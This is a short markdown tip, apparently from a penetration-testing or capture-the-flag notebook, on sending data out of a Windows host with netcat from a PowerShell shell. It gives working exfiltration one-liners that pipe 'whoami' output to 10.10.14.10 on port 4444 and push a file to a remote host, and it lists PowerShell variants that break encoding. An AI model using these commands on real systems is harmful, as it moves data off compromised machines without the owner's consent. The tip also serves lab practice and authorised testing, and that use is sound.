How to send data from windows using netcat without any encoding problems

sending-data-from-windows-using-netcat.md

Powershell likes to fuck with the encoding of everything and also doesn't like piping raw data so an easy way while in a PS shell is to just use cmd

cmd /c "whoami | ./nc.exe 10.10.14.10 4444"

cmd /c "./nc.exe 1.1.1.1 80 < file.txt"

Wrong ways to do it:

Get-Content -Path file.txt | ./nc.exe 1.1.1.1 80 # Bad encoding

./nc.exe 1.1.1.1 80 < file.txt # Powershell doesn't support <
